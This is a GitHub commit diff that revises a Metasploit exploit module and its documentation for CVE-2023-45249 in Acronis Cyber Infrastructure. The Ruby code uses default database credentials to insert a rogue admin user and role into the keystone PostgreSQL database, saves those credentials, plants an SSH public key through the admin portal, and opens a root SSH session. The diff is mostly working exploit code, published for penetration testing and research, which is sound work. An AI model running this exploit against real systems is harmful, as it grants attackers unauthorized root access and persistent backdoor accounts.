Skip to content

Commit 8b197a6

Browse files
committed
fourth release addressing review comments of jheysel-r7
1 parent 9971aed commit 8b197a6

File tree

2 files changed

+57
-50
lines changed

2 files changed

+57
-50
lines changed

documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -53,8 +53,13 @@ This option is required and is PostgreSQL database port (default: 5432) to conne
5353
### SSHPORT
5454
This option is required and is the SSH port (default: 22) to establish a SSH session.
5555

56-
### STORE_CRED
57-
This option is optional (default: true) and stores the new created admin credentials in the msf database.
56+
### PRIV_KEY
57+
This option is optional and allows the use of your own SSH private key.
58+
If no key is provided, a private SSH key will be generated.
59+
60+
### PUB_KEY
61+
This option is optional and allows the use of your own SSH public key.
62+
If no key is provided, a public SSH key will be generated.
5863

5964
## Scenarios
6065
```msf
@@ -96,15 +101,16 @@ Basic options:
96101
Name Current Setting Required Description
97102
---- --------------- -------- -----------
98103
DATABASE keystone yes The database to authenticate against
99-
DBPORT 5432 yes PostgreSQL DB port
104+
DBPORT 6432 yes PostgreSQL DB port
100105
PASSWORD vstoradmin no The password for the specified username. Leave blank for a random password.
106+
PRIV_KEY no SSH Private Key
107+
PUB_KEY no SSH Public Key
101108
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102109
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
103110
cs/using-metasploit.html
104111
RPORT 8888 yes The target port (TCP)
105112
SSHPORT 22 yes SSH port
106113
SSL true no Negotiate SSL/TLS for outgoing connections
107-
STORE_CRED true no Store user admin credentials into the database.
108114
TARGETURI / yes Path to the Acronis Cyber Infra application
109115
USERNAME vstoradmin yes The username to authenticate as
110116
VHOST no HTTP server virtual host

modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb

Lines changed: 47 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -93,66 +93,56 @@ def initialize(info = {})
9393
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
9494
register_options([
9595
OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),
96-
OptBool.new('STORE_CRED', [false, 'Store user admin credentials into the database.', true]),
97-
OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 5432]),
98-
OptPort.new('SSHPORT', [true, 'SSH port', 22])
96+
OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]),
97+
OptPort.new('SSHPORT', [true, 'SSH port', 22]),
98+
OptString.new('PUB_KEY', [false, 'SSH Public Key', '']),
99+
OptString.new('PRIV_KEY', [false, 'SSH Private Key', ''])
99100
])
100101
register_advanced_options([
101102
OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
102103
])
103104
end
104105

105-
def run_query(query)
106-
@res_query = postgres_query(query)
107-
case @res_query.keys[0]
108-
when :conn_error
109-
vprint_error("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error.")
110-
return false
111-
when :sql_error
112-
vprint_warning("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}.")
113-
elog(@res_query[:sql_error])
114-
return false
115-
when :complete
116-
vprint_good("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Query: #{query} successful.")
117-
return true
118-
else
119-
vprint_error("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown.")
120-
return false
121-
end
122-
end
123-
124106
# add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
125107
def add_admin_user(username, userid, password)
126108
vprint_status("Creating admin user #{username} with userid #{userid}")
127109

128110
# add new admin user to the user table
129-
return false unless run_query("insert into \"user\" values(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');")
111+
res_query = postgres_query("INSERT INTO \"user\" VALUES(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');", datastore['VERBOSE'])
112+
return false unless res_query.keys[0] == :complete
130113

131114
# add new admin user to the local_user table
132-
return false unless run_query('select * from "local_user" where id = ( select MAX (id) from "local_user" );')
115+
res_query = postgres_query('SELECT * FROM "local_user" WHERE id = ( SELECT MAX (id) FROM "local_user" );', datastore['VERBOSE'])
116+
return false unless res_query.keys[0] == :complete
133117

134-
id_luser = @res_query[:complete].rows[0][0].to_i + 1
135-
return false unless run_query("insert into \"local_user\" values(#{id_luser},\'#{userid}\','default',\'#{username}\',NULL,NULL);")
118+
id_luser = res_query[:complete].rows[0][0].to_i + 1
119+
res_query = postgres_query("INSERT INTO \"local_user\" VALUES(\'#{id_luser}\',\'#{userid}\','default',\'#{username}\',NULL,NULL);", datastore['VERBOSE'])
120+
return false unless res_query.keys[0] == :complete
136121

137122
# hash the password
138123
password_hash = Password.create(password)
139124
today = Date.today
140125
vprint_status("Setting password #{password} with hash #{password_hash}")
141-
return false unless run_query('select * from "password" where id = ( select MAX (id) from "password" );')
126+
res_query = postgres_query('SELECT * FROM "password" WHERE id = ( SELECT MAX (id) FROM "password" );', datastore['VERBOSE'])
127+
return false unless res_query.keys[0] == :complete
142128

143-
id_pwd = @res_query[:complete].rows[0][0].to_i + 1
144-
return false unless run_query("insert into \"password\" values(#{id_pwd},#{id_luser},NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');")
129+
id_pwd = res_query[:complete].rows[0][0].to_i + 1
130+
res_query = postgres_query("INSERT INTO \"password\" VALUES(\'#{id_pwd}\',\'#{id_luser}\',NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');", datastore['VERBOSE'])
131+
return false unless res_query.keys[0] == :complete
145132

146133
# Getting the admin roles and assign this to the new admin user
147134
vprint_status('Getting the admin roles')
148-
return false unless run_query("select * from \"project\" where name = 'admin' and domain_id = 'default';")
135+
res_query = postgres_query("SELECT * FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';", datastore['VERBOSE'])
136+
return false unless res_query.keys[0] == :complete
149137

150-
id_project_role = @res_query[:complete].rows[0][0]
151-
return false unless run_query("select * from \"role\" where name = 'admin';")
138+
id_project_role = res_query[:complete].rows[0][0]
139+
res_query = postgres_query("SELECT * FROM \"role\" WHERE name = 'admin';", datastore['VERBOSE'])
140+
return false unless res_query.keys[0] == :complete
152141

153-
id_admin_role = @res_query[:complete].rows[0][0]
142+
id_admin_role = res_query[:complete].rows[0][0]
154143
vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")
155-
return false unless run_query("insert into \"assignment\" values('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F')")
144+
res_query = postgres_query("INSERT INTO \"assignment\" VALUES('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F');", datastore['VERBOSE'])
145+
return false unless res_query.keys[0] == :complete
156146

157147
vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")
158148
true
@@ -292,32 +282,43 @@ def exploit
292282
print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.")
293283
fail_with(Failure::BadConfig, "Adding admin credentials #{username}:#{password} failed.") unless add_admin_user(username, userid, password)
294284

295-
# Storing credentials in the msf database
296-
if datastore['STORE_CRED']
297-
print_status('Saving admin credentials at the msf database.')
298-
store_valid_credential(user: username, private: password)
299-
end
285+
# storing credentials at the msf database
286+
print_status('Saving admin credentials at the msf database.')
287+
store_valid_credential(user: username, private: password)
300288

301289
# log out from the postsgreSQL DB
302290
postgres_logout if postgres_conn
303291

304-
# create SSH key pair
305-
print_status('Creating SSH private and public key.')
306-
k = SSHKey.generate
307-
vprint_status(k.private_key)
308-
vprint_status("#{k.ssh_public_key} root")
292+
# create or use user provided SSH key pair
293+
if datastore['PUB_KEY'].blank? || datastore['PRIV_KEY'].blank?
294+
print_status('Creating SSH private and public key.')
295+
k = SSHKey.generate
296+
priv_key = k.private_key
297+
pub_key = "#{k.ssh_public_key} root"
298+
else
299+
print_status('Using user provided SSH private and public key.')
300+
priv_key = datastore['PRIV_KEY']
301+
pub_key = "#{datastore['PUB_KEY']} root"
302+
end
303+
vprint_status(priv_key)
304+
vprint_status(pub_key)
305+
306+
# storing SSH public and private key at the msf database
307+
print_status('Saving SSH public and private key pair at the msf database.')
308+
store_valid_credential(user: 'ACI SSH public key', private: pub_key)
309+
store_valid_credential(user: 'ACI SSH private key', private: priv_key)
309310

310311
# log in with the new admin user credentials at the Acronis Admin Portal
311312
fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password)
312313

313314
# upload the public ssh key at the Acronis Admin Portal to enable root access via SSH
314315
print_status('Uploading SSH public key at the Acronis Admin Portal.')
315-
fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey("#{k.ssh_public_key} root")
316+
fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(pub_key)
316317

317318
# login with SSH private key to establish SSH root session
318319
ssh_opts = ssh_client_defaults.merge({
319320
auth_methods: ['publickey'],
320-
key_data: [ k.private_key ],
321+
key_data: [ priv_key ],
321322
port: datastore['SSHPORT']
322323
})
323324
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

0 commit comments

Comments
 (0)